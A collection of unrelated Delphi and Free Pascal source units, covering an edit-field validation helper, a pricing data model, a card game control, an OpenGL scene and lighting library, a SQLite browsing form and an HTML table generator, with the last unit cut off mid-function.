unit EditHelper; interface uses Vcl.StdCtrls, Generics.Collections, NewFrontiers.Validation.Validator; type TEditHelper = class helper for TEdit _validators: TObjectList<IValidator>; procedure validationFailed; procedure validationPassed; public function validate: boolean; procedure addValidator(aValidator: IValidator); end; implementation uses Vcl.Graphics; { TEditHelper } procedure TEditHelper.addValidator(aValidator: IValidator); begin if (_validators = nil) then _validators := TObjectList<IValidator>.Create; _validators.add(aValidator); end; function TEditHelper.validate: boolean; var aktValidator: IValidator; begin result := true; if (_validators <> nil) then begin for aktValidator in _validators do begin result := result and aktValidator.validate(self.Text); if (not result) then begin validationFailed; break; end; end; end; end; procedure TEditHelper.validationFailed; begin self.Font.Color := clWhite; self.Color := clRed; end; procedure TEditHelper.validationPassed; begin // TODO: Hier die richtigen Windows-Konstanten benutzen self.Font.Color := clBlack; self.Color := clWhite; end; end.
unit problem; interface type TProblem = class public id: integer; title: String; constructor Create(id: integer; title: String); end; implementation constructor TProblem.Create(id: integer; title: string); begin self.id := id; self.title := title; end; end.
unit uModCrazyPrice; interface uses SysUtils, Windows, Messages, Classes, Graphics, Controls, Forms, Dialogs, uModApp, uModOrganization,uModBarang, System.Generics.Collections, uModUnit, uModSatuan; type TModCrazyPrice = class(TModApp) private FCRAZY_BARANG: TModBarang; FCRAZY_COGS: Double; FCRAZY_DATE: TDatetime; FCRAZY_DISC_NOMINAL: Double; FCRAZY_DISC_PERSEN: Double; FCRAZY_KONVERSI: Double; FCRAZY_MARKUP: Double; FCRAZY_PPN: Double; FCRAZY_SATUAN: TModSatuan; FCRAZY_SELLPRICE_DISC: Double; FCRAZY_SELLPRICE: Double; FCRAZY_END_DATE: TDatetime; FCRAZY_ORGANIZATION: TModOrganization; FCRAZY_START_DATE: TDatetime; public published property CRAZY_BARANG: TModBarang read FCRAZY_BARANG write FCRAZY_BARANG; property CRAZY_COGS: Double read FCRAZY_COGS write FCRAZY_COGS; property CRAZY_DATE: TDatetime read FCRAZY_DATE write FCRAZY_DATE; property CRAZY_DISC_NOMINAL: Double read FCRAZY_DISC_NOMINAL write FCRAZY_DISC_NOMINAL; property CRAZY_DISC_PERSEN: Double read FCRAZY_DISC_PERSEN write FCRAZY_DISC_PERSEN; property CRAZY_KONVERSI: Double read FCRAZY_KONVERSI write FCRAZY_KONVERSI; property CRAZY_MARKUP: Double read FCRAZY_MARKUP write FCRAZY_MARKUP; property CRAZY_PPN: Double read FCRAZY_PPN write FCRAZY_PPN; property CRAZY_SATUAN: TModSatuan read FCRAZY_SATUAN write FCRAZY_SATUAN; property CRAZY_SELLPRICE_DISC: Double read FCRAZY_SELLPRICE_DISC write FCRAZY_SELLPRICE_DISC; property CRAZY_SELLPRICE: Double read FCRAZY_SELLPRICE write FCRAZY_SELLPRICE; property CRAZY_END_DATE: TDatetime read FCRAZY_END_DATE write FCRAZY_END_DATE; property CRAZY_ORGANIZATION: TModOrganization read FCRAZY_ORGANIZATION write FCRAZY_ORGANIZATION; property CRAZY_START_DATE: TDatetime read FCRAZY_START_DATE write FCRAZY_START_DATE; end; implementation initialization TModCrazyPrice.RegisterRTTI; end.
unit Classes.CardControl; interface uses Classes,VCL.Controls,VCL.ExtCtrls,Common.Entities.Card; var CARDHEIGHT:Integer=154;//256; CARDWIDTH:Integer=85;//141; CARDUPLIFT:Integer=30; CARDXOFFSET:Integer=90; SMALLCARDHEIGHT:Integer=115;//256; SMALLCARDWIDTH:Integer=63;//141; SMALLCARDXOFFSET:Integer=55; type TCardControl=class(TImage) private FCard: TCard; FRemainUp: Boolean; FUp:Boolean; FLifted:Boolean; procedure SetUp(const Value: Boolean); protected procedure MouseDown(Button:TMouseButton;ShiftState:TShiftState;X,Y:Integer);override; procedure MouseUp(Button:TMouseButton;ShiftState:TShiftState;X,Y:Integer);override; public constructor Create(AOwner: TComponent; const ACard:TCard); property Card:TCard read FCard; property RemainUp:Boolean read FRemainUp write FRemainUp; property Up:Boolean read FUp write SetUp; end; TBackCardKind=(bckDown,bckLeft,bckRight); TBackCardControl=class(TImage) constructor Create(AOwner:TComponent;AKind:TBackCardKind); end; implementation uses TarockDM; { TCardControl } constructor TCardControl.Create(AOwner: TComponent; const ACard:TCard); begin inherited Create(AOwner); Height:=CARDHEIGHT; Width:=CARDWIDTH; Autosize:=False; Stretch:=True; Proportional:=True; FCard:=ACard; end; procedure TCardControl.MouseDown(Button: TMouseButton; ShiftState: TShiftState; X, Y: Integer); begin inherited; if not Enabled then Exit; if FRemainUp then Up:=not FUp else begin Top:=Top-CARDUPLIFT; FLifted:=True; end; end; procedure TCardControl.MouseUp(Button: TMouseButton; ShiftState: TShiftState; X, Y: Integer); begin inherited; if not RemainUp and Enabled and FLifted then Top:=Top+CARDUPLIFT; end; procedure TCardControl.SetUp(const Value: Boolean); begin if not FRemainUp then Exit; if FUp<>Value then begin if FUp then Top:=Top+CARDUPLIFT else Top:=Top-CARDUPLIFT; FUp := Value; end; end; { TBackCardControl } constructor TBackCardControl.Create(AOwner: TComponent; AKind: TBackCardKind); begin inherited Create(AOwner); Stretch:=True; // Proportional:=True; case AKind of bckDown:begin Width:=CARDWIDTH; HEight:=30; Picture.Assign(dm.imBackCards.Items[0].Picture) end; bckRight:begin Width:=30; HEight:=CARDWIDTH; Picture.Assign(dm.imBackCards.Items[1].Picture) end; bckLeft:begin Width:=30; HEight:=CARDWIDTH; Picture.Assign(dm.imBackCards.Items[2].Picture) end; end; end; end.
{this unit has a group of useful routines for use with OpenGL} { TsceneGL: a 3D scene, has a group of entities and a group of lights. Tlight: a light, has color, position and orientation. T3dMouse: enables a normal mouse to interact easily with one 3D object By: Ricardo Sarmiento delphiman@hotmail.com } unit UrickGL; interface Uses Windows, Messages, SysUtils, Classes, OpenGL, U3DPolys; Const CLSpot=1; {a spot light, with position and direction, like a flashlamp} CLambiental=2; {an ambiental light, like indirect ilumination} CLstar=3; {a light with position but omnidirectional, like a star} CLconstant=1; {constant light attenuation} CLlinear=2; {linear light attenuation} CLquadratic=3; {quadratic light attenuation} type Tcamera=class(Tobject) Position:Array[1..3] of GLdouble; {position of the camera, x,y,z} SceneCenter:Array[1..3] of GLdouble; {position for the center of the scene} UpVector:Array[1..3] of GLdouble; {vector pointing "up" from the viewerīs perspective} Constructor create; {creates a new camera} Procedure Redraw; {redraw camera} Procedure SetPosition(ix,iy,iz:GlDouble); Procedure LookAt(ix,iy,iz:GlDouble); Procedure SetVectorUp(ix,iy,iz:GlDouble); end; {Tcamera} TsceneGL=class(Tobject) DC:HDC; {somewhat private} HRC: HGLRC; {somewhat private} WindowHandle:Thandle; {handle to the host window, a Tpanel most times} Entities:Tlist; {Available entities in the scene} Lights:Tlist; {Available lights in the scene} Cameras:Tlist; {Available cameras in the scene} Active:boolean; {true: InitRC has been called already} Fperspective:boolean; {true: use perspective projection, false: use orthogonal projection} Angle,DistNear,DistFar:single; {values for Field-of-view angle, distance to near clipping plane, distance to far clipping plane} texturing:boolean; {true: use textures and texture information, false: donīt use textures} BackR,BackG,BackB:glfloat; {Background color (RGB), between 0.0 and 1.0 } fogColor:array [0..3] of glFloat; {fog color (RGBA), between 0.0 and 1.0 } fogDensity,fogMinDist,fogMaxDist:glfloat; fogEnabled:boolean; fogtype:GLint; ActiveCamera:Tcamera; {points to the camera from which the scene is being "filmed"} DefaultCamera:Tcamera; {points to the default camera, this camera shouldnīt never be destroyed} Constructor create; {creates a new scene} Destructor destroy; override; {donīt call this directly, call free instead} {initialization of the Rendering Context, receives the handle of the display control, frecuently it is a Tpanel} Procedure InitRC(iHandle:THandle); Procedure Redraw; {redraw scene} {set values for the pixelīs format. donīt call this Function directly, call instead InitRC.} Procedure SetDCPixelFormat; {Free all resources taken by InitRC. donīt call this Function directly} Procedure ReleaseRC; {reflects changes in the width and height (ancho,alto) of the display control} Procedure UpdateArea(width,height:integer); {Set the perspective values for Field-of-view angle, distance to near clipping plane, distance to far clipping plane} Procedure SetPerspective(iAngle,iDistNear,iDistFar:single); {Activate a different camera, by number of camera} Procedure UseCamera(CameraNumber:integer); end; {TsceneGL} Tlight=class(Tobject) Source:Tvertex; {position and orientation of the light} Fambient, Fdiffuse, Fspecular:array[0..3] of GLfloat; {ambient, dIffuse and specular components} Number:LongInt; {number of the light, from 1 to 8} LightType:integer; {The type of light, spot, ambiental, omni} CutOffAngle:GlFloat; {the Cut-off angle for spot lights} SpotExponent:GlFloat; {the shininess of the spot light} attenuation:GlFloat; {attenuation amount} attenuationType:integer; {attenuation type: constant, linear or quadratic} Constructor Create(num:Byte); {create a new, white Ambient light. num goes from 1 to 8} Destructor Destroy; override; {donīt call directly, call instead free} Procedure Ambient(r,g,b,a:GLfloat); {change the Ambient component of the light} Procedure Diffuse(r,g,b,a:GLfloat); {change the dIffuse component of the light} Procedure Specular(r,g,b,a:GLfloat); {change the specular component of the light} Procedure SetOrientation(nx,ny,nz:GlFloat); {change the direction where the light comes from} Procedure Redraw; {executes the OpenGL code for this light} end; {Tlight} T3dMouse=class(Tobject) {ease manipulation of 3D objects with the mouse} Button1, {left button on mouse} Button2:boolean; {right button on mouse} Mode:integer; {movement mode: 1-move x,y-z, 2-turn rx,ry-rz 3-turn rx,ry-rz+move z.} Entity:Tentity; {points to the entity to be modIfied, just one at a time} Start:array[1..6] of single; {x,y,z - rx,ry,rz saves the initial position when dragging mouse} Scaling:array[1..6] of single; {x,y,z - rx,ry,rz stores the speed relations between mouse and 3D} BlockStatus:array[1..6] of boolean; {x,y,z - rx,ry,rz which movements are blocked} Constructor Create(iEntity:Tentity); {iEntity is the pointer to one entity in the scene} Procedure Move(x,y:single;Botones: TShIftState); {move or turn the entity according to the mode} Procedure Scale(x,y,z,rx,ry,rz:single); {controls the relative speed between the mouse and the object} Procedure Block(num:integer;valor:boolean); {blocks movement and/or rotation on any of 6 axis.} Procedure FindVertex(x,y:integer;Scene:TsceneGL;var pt:Tvertex); {return a pointer to the vertex which was nearer to the mouse} {Scene is the scene to be evaluated, pt is the chosen vertex, can be nil If none was found under the mouse} {x,y are the coordinates of the mouse} end; {num goes from 1 to 6, valor=true:block, valor=false: donīt block movement} Const MaxHits=200; var xxx,yyy,nnn:integer; numFound:integer; VertexHits:Array[1..MaxHits] of integer; {This function can convert a BMP file into a RGBA file} {parameters: BMPname: name of the BMP file, RGBAname: name of the new file, transparent: color that will be treated as transparent} Function ConvertBMP(BMPname:string;RGBAname:string;Transparent:longint):integer; {this is to avoid certain problems with borland tools. donīt call them yourself} Function MaskExceptions: Pointer; Procedure UnmaskExceptions(OldMask: Pointer); implementation Constructor Tcamera.create; {creates a new camera} begin inherited create; LookAt(0,0,-100); {the camera is looking to the bottom of the screen} SetVectorUp(0,1,0); {the camera is rotated normally} SetPosition(0,0,0); {the camera is in the center of the space} end; Procedure Tcamera.Redraw; {redraw camera} begin GluLookAt(Position[1], Position[2], Position[3], SceneCenter[1], SceneCenter[2], SceneCenter[3], UpVector[1], UpVector[2], UpVector[3]); end; Procedure Tcamera.SetPosition; begin Position[1]:=ix; Position[2]:=iy; Position[3]:=iz; end; Procedure Tcamera.LookAt; begin SceneCenter[1]:=ix; SceneCenter[2]:=iy; SceneCenter[3]:=iz; end; Procedure Tcamera.SetVectorUp; begin UpVector[1]:=ix; UpVector[2]:=iy; UpVector[3]:=iz; end; Constructor TsceneGL.create; begin inherited create; Entities:=Tlist.create; Lights:=Tlist.create; Cameras:=Tlist.create; DefaultCamera:=Tcamera.Create; ActiveCamera:=DefaultCamera; Cameras.Add(DefaultCamera); {add the default camera to the cameras in the scene} Active:=false; Fperspective:=true; fogEnabled:=false; Angle:=30; {degrees for Field-of-view angle} DistNear:=1; {1 unit of distance to near clipping plane} DistFar:=100; {distance to far clipping plane} texturing:=true; {use textures} end; Destructor TsceneGL.destroy; begin If Active then ReleaseRC; cameras.free; Lights.free; Entities.free; inherited destroy; end; Procedure TsceneGL.InitRC; begin {set the area where the OpenGL rendering will take place} WindowHandle:=iHandle; DC := GetDC(WindowHandle); SetDCPixelFormat; HRC := wglCreateContext(DC); wglMakeCurrent(DC, HRC); { enable depht testing and back face rendering} glEnable(GL_DEPTH_TEST); glEnable(GL_CULL_FACE); glEnable(GL_LIGHTING); {enable Lights} Active:=True; end; Procedure TsceneGL.SetDCPixelFormat; var nPixelFormat: Integer; pfd: TPixelFormatDescriptor; begin FillChar(pfd, SizeOf(pfd),0); with pfd do begin nSize := sizeof(pfd); // Size of this structure nVersion := 1; // Version number dwFlags := PFD_DRAW_TO_WINDOW or PFD_SUPPORT_OPENGL or PFD_DOUBLEBUFFER; // Flags iPixelType:= PFD_TYPE_RGBA; // RGBA pixel values cColorBits:= 24; // 24-bit color cDepthBits:= 32; // 32-bit depth buffer iLayerType:= PFD_MAIN_PLANE; // Layer type end; nPixelFormat := ChoosePixelFormat(DC, @pfd); SetPixelFormat(DC, nPixelFormat, @pfd); DescribePixelFormat(DC, nPixelFormat, sizeof(TPixelFormatDescriptor), pfd); end; Procedure TsceneGL.ReleaseRC; begin wglMakeCurrent(0, 0); wglDeleteContext(HRC); ReleaseDC(WindowHandle, DC); Active:=False; end; Procedure TsceneGL.UpdateArea; var gldAspect : GLdouble; ratio,range:GlFloat; begin { redefine the visible volume and the viewport when the windowīs size is modIfied} GlMatrixMode(GL_PROJECTION); GlLoadIdentity; If Fperspective then begin gldAspect := width/height; gluPerspective(Angle, // Field-of-view angle gldAspect, // Aspect ratio of viewing volume DistNear, // Distance to near clipping plane DistFar); // Distance to far clipping plane end else begin { Orthogonal projection} range:=12; If width<=height then begin ratio:=height/width; GlOrtho(-range,range,-range*ratio,range*ratio,-range*4,range*4); end else begin ratio:=width/height; GlOrtho(-range*ratio,range*ratio,-range,range,-range*4,range*4); end; end; glViewport(0, 0, width, height); end; Procedure TsceneGL.Redraw; const glfMaterialColor: Array[0..3] of GLfloat = (0.5, 1.0, 0.5, 1.0); ambientLight: Array[0..3] of GLfloat = (0.0, 0.0, 0.0, 0.0); var i,num:integer; ps : TPaintStruct; pp:Pointer; begin If Active then begin {initialization} pp:=MaskExceptions; BeginPaint(WindowHandle, ps); GlMatrixMode(GL_MODELVIEW); {reset translation and rotation values} GlLightModelfv(GL_light_model_ambient, @ambientLight); GlLoadIdentity; {Set Camera viewPoint} ActiveCamera.Redraw; {place Lights} i:=0; num:=Lights.count; while i<num do begin Tlight(Lights.items[i]).Redraw; inc(i); end; {clear depht and color buffers} glclearcolor(backR,backG,backB,1); {specify background color} glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT); {Clear the rendering area} glenable(gl_color_material); {tell OpenGL to pay attention to GlColor orders} if fogEnabled then begin glenable(GL_fog); {too slow: glhint(gl_fog_hint, gl_nicest);} {good fog, but a little slow} glfogi(gl_fog_mode, fogtype); glfogfv(gl_fog_color, @fogColor); if fogtype <> GL_linear then {density doesnt work with linear fog} glfogf(gl_fog_density, FogDensity); glfogf(GL_fog_start, fogMinDist); glfogf(GL_fog_end, fogMaxDist); end else gldisable(GL_fog); if texturing then begin gldisable(GL_texture_1d); glenable(gl_texture_2d); end else begin glDisable(GL_texture_1d); glDisable(gl_texture_2d); end; If PutNames then begin glInitNames; {init the name stack, not necessary If your objects arenīt named} glPushName(0); {init the name stack} end; {draw entities} i:=0; num:=Entities.count; while i<num do begin Tentity(Entities.items[i]).Redraw; inc(i); end; {finalization} {swap the rendering buffers so there is no flickering} SwapBuffers(DC); EndPaint(WindowHandle, ps); UnmaskExceptions(pp); end; end; Procedure TsceneGL.SetPerspective; begin Angle:=iAngle; DistNear:=iDistNear; DistFar:=iDistFar; end; Procedure TsceneGL.UseCamera; begin if CameraNumber <= Cameras.Count then ActiveCamera:=Cameras.items[CameraNumber-1]; end; Constructor Tlight.Create; {by default a light is created white } begin inherited create; Source:=Tvertex.create(nil,0,0,0); {light with no orientation...} Source.Point:=Tpoint.Create(0,0,0); {...and placed in the center of the scene} Ambient(0.5,0.5,0.5,1); DIffuse(0.25,0.25,0.25,1); Specular(0.1,0.1,0.1,1); LightType:=CLambiental; {by default the light is ambiental} CutOffAngle:=60; {but the default cut-off angle is 60 degrees} SpotExponent:=100; {and the spot exponent is very shiny} attenuation:=0.01; {attenuation default value} attenuationType:=CLlinear; {attenuation type} case num of 1: Number:=GL_Light0; 2: Number:=GL_Light1; 3: Number:=GL_Light2; 4: Number:=GL_Light3; 5: Number:=GL_Light4; 6: Number:=GL_Light5; 7: Number:=GL_Light6; 8: Number:=GL_Light7; end; {case} end; Destructor Tlight.destroy; begin Source.point.free; Source.free; end; Procedure Tlight.Ambient; begin Fambient[0]:=r; Fambient[1]:=g; Fambient[2]:=b; Fambient[3]:=a; end; Procedure Tlight.Diffuse; begin fDIffuse[0]:=r; fDIffuse[1]:=g; fDIffuse[2]:=b; fDIffuse[3]:=a; end; Procedure Tlight.Specular; begin Fspecular[0]:=r; Fspecular[1]:=g; Fspecular[2]:=b; Fspecular[3]:=a; end; Procedure Tlight.SetOrientation; begin Source.nx:=nx; Source.ny:=ny; Source.nz:=nz; end; Procedure Tlight.Redraw; var Fposition:Array[0..3] of GLfloat; Frotation:Array[0..3] of GLfloat; begin { GlPushMatrix(); } if (LightType <> CLambiental) then begin {the light has a location} Fposition[0]:=Source.Point.x; Fposition[1]:=Source.Point.y; Fposition[2]:=Source.Point.z; Fposition[3]:=1.0; {indicates that the light is actually present at that location} {if it were zero, the rays would be parallel like a sun} Frotation[0]:=Source.nx; Frotation[1]:=Source.ny; Frotation[2]:=Source.nz; Frotation[3]:=1.0; {donīt know what this indicates} if (LightType = CLSpot) then begin glLightF(Number, GL_Spot_Cutoff, CutOffAngle); glLightF(Number, GL_Spot_Exponent, SpotExponent); glLightfv(number, GL_Spot_Direction, @Frotation); end; glLightfv(number, GL_Position, @Fposition); end; GlLightfv(Number, GL_AMBIENT, @Fambient); GlLightfv(Number, GL_DIFFUSE, @Fdiffuse); GlLightfv(Number, GL_SPECULAR,@Fspecular); case attenuationType of CLconstant:GlLightf(number, GL_Constant_attenuation, attenuation); CLlinear:GlLightf(number, GL_Linear_attenuation, attenuation); CLquadratic:GlLightf(number, GL_Quadratic_attenuation, attenuation); end; {case} GlEnable(Number); {enable light number N} { GlPopMatrix();} end; Constructor T3dMouse.Create; var i:integer; begin inherited create; Entity:=iEntity; Mode:=3; {this is the mode used by defect, just because it fits my needs} Button1:=false; Button2:=false; for i:=1 to 6 do BlockStatus[i]:=false; end; Procedure T3dMouse.Move; begin If assigned(Entity) then begin If not Button1 then begin If ssLeft in botones then begin If mode=1 then {X,Y,Z} begin Start[1]:=x-Entity.Position[1]/Scaling[1]; {X} Start[2]:=y-Entity.Position[2]/Scaling[2]; {Y} end; If mode in [2,3] then {2:rx,ry,rz 3:rx,ry,rz,Z} begin Start[6]:=x-Entity.rotation[3]/Scaling[6]; {rx} Start[4]:=y-Entity.rotation[1]/Scaling[4]; {ry} end; Button1:=true; end; end else begin If ssLeft in botones then begin If mode=1 then begin If not BlockStatus[1] then Entity.Position[1]:=(x-Start[1])* Scaling[1]; {X} If not BlockStatus[2] then Entity.Position[2]:=(y-Start[2])* Scaling[2]; {Y} end; If mode in [2,3] then begin If not BlockStatus[4] then Entity.rotation[3]:=(x-Start[6])* Scaling[6]; {rx} If not BlockStatus[5] then Entity.rotation[1]:=(y-Start[4])* Scaling[4]; {ry} end; end else Button1:=false; end; If not Button2 then begin If ssRight in botones then begin If mode in [1,3] then Start[3]:=y-Entity.Position[3]/Scaling[3]; {z} If mode in [2,3] then Start[5]:=x-Entity.rotation[2]/Scaling[5]; {rz} Button2:=true; end; end else begin If ssRight in botones then begin If mode in [1,3] then If not BlockStatus[3] then Entity.Position[3]:=(y-Start[3])* Scaling[3]; {Z} If mode in [2,3] then If not BlockStatus[6] then Entity.rotation[2]:=(x-Start[5])* Scaling[5]; {rz} end else Button2:=false; end; end; end; Procedure T3dMouse.Scale; begin Scaling[1]:=x; Scaling[2]:=y; Scaling[3]:=z; Scaling[4]:=rx; Scaling[5]:=ry; Scaling[6]:=rz; end; Procedure T3dMouse.Block; begin If num in [1..6] then BlockStatus[num]:=valor; end; Procedure T3dMouse.FindVertex; const tambuffer=8000; {8000 items reserved for the rendering buffer} radio=15; {this is the search radius} var buffer:array[0..tamBuffer] of GLfloat; size,i,j,count:integer; nx,ny:integer; PreviousPutNames:boolean; ActualVertex:LongInt; begin PreviousPutNames:=PutNames; {preserve the previous value of PutNames} PutNames:=true; {put names on each vertex} numFound:=0; GlFeedBackBuffer(tamBuffer,GL_2D,@buffer); GlRenderMode(GL_feedBack); Scene.Redraw; size:=GlRenderMode(GL_render); {now that we got the 2D coordinates of each vertex, find which vertex is near} i:=0; try while i<size do begin If buffer[i]=GL_Pass_Through_token then {the G.P.T.T. is a marker to divide the buffer in sections} If buffer[i+1]=Entity.id then {this is the entity we are dealing with} begin inc(i,2); // continue cicling until we find another Object marker: while (buffer[i]=GL_Pass_Through_token) do begin ActualVertex:=round(Buffer[i+1]); If buffer[i+2]=GL_Polygon_Token then {this is a polygon, letīs check it out} begin count:=trunc(buffer[i+3]); inc(i,4); for j:=0 to count-1 do {letīs take a look at each vertex of this polygon} begin nx:=round(buffer[i]); {x coordinate of a vertex} ny:=round(buffer[i+1]); {y coordinate of a vertex} If (nx+radio>x) and (nx-radio<x) and (ny+radio>y) and (ny-radio<y) and (NumFound<MaxHits) then begin inc(numFound); VertexHits[numFound]:=ActualVertex+j; end; inc(i,2); {x and y} end; end else inc(i,2); end; end; inc(i); end; except end; PutNames:=PreviousPutNames; {restore the previous value of PutNames} end; {MWMWMWMWMWMWMWMWMW END OF CLASS IMPLEMENTATION WMWMWMWMMWMWMWMWM} Function MaskExceptions: Pointer; var OldMask : Pointer; begin asm fnstcw WORD PTR OldMask; mov eax, OldMask; or eax, $3f; mov WORD PTR OldMask+2,ax; fldcw WORD PTR OldMask+2; end; result := OldMask; end; Procedure UnmaskExceptions(OldMask: Pointer); begin asm fnclex; fldcw WORD PTR OldMask; end; end; Function ConvertBMP(BMPname:string;RGBAname:string;Transparent:longint):integer; begin {this will convert a RGB bmp to a RGBA bmp, it is not ready yet} result:=0; end; end.
unit HUGeoDB; {$mode objfpc}{$H+} //======================================================================================== // // Unit : HUGeoDB.pas // // Description : // // Called By : Main : TfrmMain.mnuMainToolsDBMaintenanceHUGeoDBClick // // Calls : AppSettings // // Ver. : 1.0.0 // // Date : 22 Jan 2019 // // ToDo: 31 Jan 2019 - HUGeoDB : FormShow // //======================================================================================== interface uses Classes, SysUtils, db, sqlite3conn, sqldb, FileUtil, Forms, Controls, Graphics, Dialogs, Buttons, DBGrids, DbCtrls, // Application units AppSettings; // HULib units type { TfrmHUGeoDB } TfrmHUGeoDB = class(TForm) bbtOK: TBitBtn; bbtCancel: TBitBtn; DataSource1: TDataSource; DBGrid1: TDBGrid; DBNavigator1: TDBNavigator; SQLite3Connection1: TSQLite3Connection; SQLQuery1: TSQLQuery; SQLTransaction1: TSQLTransaction; procedure DBNavigator1BeforeAction(Sender: TObject; Button: TDBNavButtonType ); procedure FormClose(Sender: TObject; var CloseAction: TCloseAction); procedure FormCreate(Sender: TObject); procedure FormShow(Sender: TObject); private fHUGeoDBName : string; fHUGeoDBPath : string; function GetHUGeoDBName : string; procedure SetHUGeoDBName(DBName : string); function GetHUGeoDBPath : string; procedure SetHUGeoDBPath(DBPath : string); public property pHUGeoDBName : string read GetHUGeoDBName write SetHUGeoDBName; property pHUGeoDBPath : string read GetHUGeoDBPath write SetHUGeoDBPath; end; var frmHUGeoDB: TfrmHUGeoDB; implementation {$R *.lfm} //======================================================================================== // PRIVATE CONSTANTS //======================================================================================== const cstrHUGeoDBName = 'HUGeoDB.sl3'; //======================================================================================== // PUBLIC CONSTANTS //======================================================================================== //======================================================================================== // PRIVATE VARIABLES //======================================================================================== var vstrHUGeoDBPath : String; //======================================================================================== // PUBLIC VARIABLES //======================================================================================== //======================================================================================== // PRIVATE ROUTINES //======================================================================================== //======================================================================================== // PUBLIC ROUTINES //======================================================================================== //======================================================================================== // PROPERTY ROUTINES //======================================================================================== function TfrmHUGeoDB.GetHUGeoDBName: string; begin Result := cstrHUGeoDBName; end;// function TfrmHUGeoDB.GetHUGeoDBName //---------------------------------------------------------------------------------------- procedure TfrmHUGeoDB.SetHUGeoDBName(DBName: string); begin fHUGeoDBName := DBName; end;// procedure TfrmHUGeoDB.SetHUGeoDBName //======================================================================================== function TfrmHUGeoDB.GetHUGeoDBPath: string; begin Result := fHUGeoDBPath; end;// function TfrmHUGeoDB.GetHUGeoDBPath //---------------------------------------------------------------------------------------- procedure TfrmHUGeoDB.SetHUGeoDBPath(DBPath: string); begin fHUGeoDBPath := DBPath; end;// procedure TfrmHUGeoDB.SetHUGeoDBPath //======================================================================================== // MENU ROUTINES //======================================================================================== //======================================================================================== // COMMAND BUTTON ROUTINES //======================================================================================== //======================================================================================== // CONTROL ROUTINES //======================================================================================== procedure TfrmHUGeoDB.DBNavigator1BeforeAction(Sender: TObject; Button: TDBNavButtonType); begin case Button of nbFirst: Begin ShowMessage('nbFirst'); End; nbPrior: Begin ShowMessage('nbPrior'); End; nbNext: Begin ShowMessage('nbNext'); End; nbLast: Begin ShowMessage('nbLast'); End; nbInsert: Begin ShowMessage('nbInsert'); Abort; End; nbDelete: Begin ShowMessage('nbDelete'); Abort; End; nbEdit: Begin ShowMessage('nbEdit'); Abort; End; nbPost: Begin ShowMessage('nbPost'); Abort; End; nbCancel: Begin ShowMessage('nbCancel'); Abort; End; nbRefresh: Begin ShowMessage('nbRefresh'); Abort; End; end; end;// procedure TfrmHUGeoDB.DBNavigator1BeforeAction //======================================================================================== // FILE ROUTINES //======================================================================================== //======================================================================================== // FORM ROUTINES //======================================================================================== procedure TfrmHUGeoDB.FormClose(Sender: TObject; var CloseAction: TCloseAction); begin end;// procedure TfrmHUGeoDB.FormClose //---------------------------------------------------------------------------------------- procedure TfrmHUGeoDB.FormCreate(Sender: TObject); begin end;// procedure TfrmHUGeoDB.FormCreate //---------------------------------------------------------------------------------------- procedure TfrmHUGeoDB.FormShow(Sender: TObject); begin pHUGeoDBPath := frmSettings.pUserDirectory + '\' + pHUGeoDBName; // showmessage(pHUGeoDBPath); SQLite3Connection1.Connected := False; SQLQuery1.Active := False; SQLTransaction1.Active := False; // showmessage(pHUGeoDBPath); SQLite3Connection1.DatabaseName := pHUGeoDBPath; SQLite3Connection1.Transaction := SQLTransaction1; SQLTransaction1.DataBase := SQLite3Connection1; SQLQuery1.DataBase := SQLite3Connection1; SQLQuery1.Transaction := SQLTransaction1; SQLQuery1.SQL.Text := 'select * from CountryTbl'; DataSource1.DataSet := SQLQuery1; DBGrid1.DataSource := DataSource1; DBNavigator1.DataSource := DataSource1; SQLTransaction1.Active := True; SQLite3Connection1.Open; SQLQuery1.Open; end;// procedure TfrmHUGeoDB.FormShow //======================================================================================== end.// unit HUGeoDB
unit ThGenerator; interface uses Windows, Classes, Controls, StdCtrls, ExtCtrls, Graphics, Messages, SysUtils, Types, ThCellSorter, ThComponentIterator, ThTag, ThInterfaces, ThWebControl; type TThGenerator = class(TThSortedCtrlIterator) private FMargins: TRect; FTable: TCellTable; protected function GetClientAreaHeight: Integer; function GetClientAreaWidth: Integer; function GetHtml: string; procedure SetContainer(const Value: TWinControl); override; protected function AdjustCellRect(const inRect: TRect): TRect; procedure FillTable; procedure FindMargins; function GenerateCell(inCellData: TCellData): string; function GenerateCells: string; function GenerateClient: string; function GenerateClientBand: string; function GenerateCtrlCell: string; procedure GenerateCtrlTag(inTag: TThTag); function GenerateLeftRight(inAlign: TAlign): string; function GenerateLeftRightCell: string; function GenerateRowTable(const inContent: string; const inTableAttrs: string = ''; const inRowAttrs: string = ''): string; function GenerateTable(const inContent: string; inAttrs: string = ''): string; function GenerateTableHtml: string; function GenerateTopBottom(inAlign: TAlign): string; function GenerateTopBottomCell: string; public property Html: string read GetHtml; property Margins: TRect read FMargins write FMargins; end; implementation uses ThVclUtils; const // cBorder = ' border="0"'; // cBorder = ' border="1"'; cBorder = ''; cTableAttributes = ' border="0" cellpadding="0" cellspacing="0"'; cTableFormat = '<table%s' + cTableAttributes + '>'#13'%s'#13'</table>'; procedure TThGenerator.FindMargins; begin FMargins := Rect(AlignWidth([alLeft]), AlignHeight([alTop]), AlignWidth([alRight]), AlignHeight([alBottom])); if Container is TThWebControl then TThWebControl(Container).AdjustMargins(FMargins); end; function TThGenerator.GetClientAreaWidth: Integer; begin Result := Container.ClientWidth; Dec(Result, FMargins.Right + FMargins.Left); end; function TThGenerator.GetClientAreaHeight: Integer; begin Result := Container.ClientHeight; Dec(Result, FMargins.Top + FMargins.Bottom); end; procedure TThGenerator.SetContainer(const Value: TWinControl); begin inherited; FindMargins; end; function TThGenerator.GetHtml: string; begin Result := GenerateTopBottom(alTop) + GenerateClientBand + GenerateTopBottom(alBottom); end; procedure TThGenerator.GenerateCtrlTag(inTag: TThTag); var s: IThHtmlSource; begin if ThIsAs(Ctrl, IThHtmlSource, s) then begin inTag.Content := s.Html; s.CellTag(inTag); end; end; function TThGenerator.GenerateCtrlCell: string; begin with TThTag.Create('td') do try GenerateCtrlTag(ThisTag); Result := Html; finally Free; end; end; function TThGenerator.GenerateTable(const inContent: string; inAttrs: string = ''): string; begin // Result := Format('<table width="100%%" %s>'#13'%s'#13'</table>', // [ cTableAttributes, inContent ]); // Result := Format(STable, [ ' width="100%%"', inContent ]); Result := Format(cTableFormat, [ inAttrs, inContent ]); end; function TThGenerator.GenerateRowTable(const inContent: string; const inTableAttrs: string = ''; const inRowAttrs: string = ''): string; begin // Result := GenerateTable(' width="100%%"', // '<tr' + inRowAttrs + '>'#13 + inContent + #13'</tr>'); Result := GenerateTable('<tr' + inRowAttrs + '>'#13 + inContent 